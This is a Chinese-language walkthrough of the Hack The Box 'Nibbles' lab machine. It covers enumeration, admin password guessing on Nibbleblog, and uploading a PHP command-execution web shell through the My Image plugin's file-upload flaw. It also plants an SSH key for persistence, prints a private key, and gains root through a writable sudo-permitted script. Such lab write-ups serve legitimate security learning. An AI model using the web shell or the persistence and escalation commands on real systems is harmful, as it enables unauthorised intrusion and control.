file 这台靶机,总体是Easy难度,但坑就坑在一开始的密码猜解上,如果盲目的使用自动化工具去爆破密码会被网站加入临时黑名单中,拖慢节奏…

1.枚举靶机端口开放情况

这台机器只开放了22和80端口,因此,我们可以把精力全部放在80端口。 file

2.访问HTTP服务

当我直接访问http://10.10.10.75/时,却看到了以下朴实无华的页面: file

于是,便忍不住去查看源代码: file

好家伙,这实属是“引狼入室”了,免得我目录爆破了。

3.目录爆破

尽管话虽如此,但我一向谨慎,为了防止被老六作者Gank,还是做两层目录爆破吧。

首先对网站根目录进行爆破: file

果然没有任何发现。

再对/nibbleblog/进行一次爆破: file

发现了一些有趣的目录。

4.收集版本信息

我们可以通过访问http://10.10.10.75/nibbleblog/README ,得到CMS的名称及版本信息。 file

根据CMS,我们找到了以下POC: file

5.任意文件上传漏洞

不管是从Google中的其它文章分析,还是从Metasploit的Ruby脚本中,我们都能发现:在nibbleblog这个CMS中,My Image插件(Plugin)存在任意文件上传漏洞。 file

但问题是,在利用这个漏洞时,需要管理员用户名和密码进行登录。

6.用户名/密码猜解

接下来,我们可以通过访问http://10.10.10.75/nibbleblog/admin.php 来到网站后台登录页面。 file

一些常见的密码组合进行尝试:

  • admin' or 1 = 1; # / gaoxiaodiao.com : ❌
  • admin / admin :❌
  • admin / admin123 : ❌ …

最终,从其它人的write-up中得到正确的密码:admin / nibbles。(啊这…)

7.上传shell

创建shell.php,内容如下: (反弹shell的payload在执行时,会马上断开,即使我设置了set_time_limit(0)也不行,所以用这个payload。)

<?php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

从后台中,找到My Image插件,找到上传图片的入口:http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

file

点击保存后,回到主页,就会看到一个没有被正常展示出来的图片: file

当我们复制图片链接时,会得到:http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.jpg 的链接,但实际上该文件并不存在。

而我们直接访问其目录:http://10.10.10.75/nibbleblog/content/private/plugins/my_image/ 时,会发现Apache允许访问目录的Index:暴露出上传后的shell真正的名称为image.php

file

直接点击image.php,就可以执行任意的命令了。

8.写入公钥

当我们执行whoami时,命令返回的是nibbler,那我们就可以在这个用户的目录下写入ssh公钥,然后我们就可以通过私钥直接去连靶机的22端口,拿到一个交互能力Max的shell。

mkdir -p /home/nibbler/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdnkHqFWjVXFrQqCWwXy1pmnAX/XP0gCGHhe5RnFu1V9HjAnVWaZqhxPWVk4bKwzqxHBB4d0pyjxC1F/o7PRTLyAK0G6imMvJBdYedaG4Tej9xrmd4LmWLB3H+0fbaNptv85AQ+FfW5LtNFdfdzxjsa5FB5Ia44qfMQ3jOrcerXZQ6VcK+QHYxLkvoS4vlzWsuTCQ1SgOnSD9sPGU9EfSfyqpj6GUJzWnmNMIFMLmy1Q6LXUh4GTLC8fikUCmDX7c+AJj/c8kzQY3xeKzAWAg/SU3FBGCa132KvJorRrze2jESm+N9KB0oFU3SmKD62jGcnKs9QShmoPAQAQ59rR0HQ69/HkVE4jc1/d6ihUMwaPQbkpLUQ5SGF1s94TPD6o+3DnmTVyES5gOQ8swFh57wPV2mVsYrUmCBoBg1ve3K9aIasxIOzYtQ1xjK+sx6Cjhk+1ra5bE/vnMV/BRcX+2UGvPIrSENCex6m944Sd/bt9BsimM6JZx/VDtNebGzMtE=" > /home/nibbler/.ssh/authorized_keys
cat /home/nibbler/.ssh/authorized_keys

对应的私钥如下:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

9.get shell并提权

当我们验证,确定公钥写进去后,我们就可以通过私钥来进行连接,并且发现有一个可以用来提权的sudo错误配置项: file

接下来,我们创建/home/nibbler/personal/stuff/的文件夹,并写入本地提权指令:

mkdir -p /home/nibbler/personal/stuff/
echo "/bin/bash -p" > /home/nibbler/personal/stuff/monitor.sh
chmod +x /home/nibbler/personal/stuff/monitor.sh

最终执行sudo指令,完成提权:

sudo /home/nibbler/personal/stuff/monitor.sh

file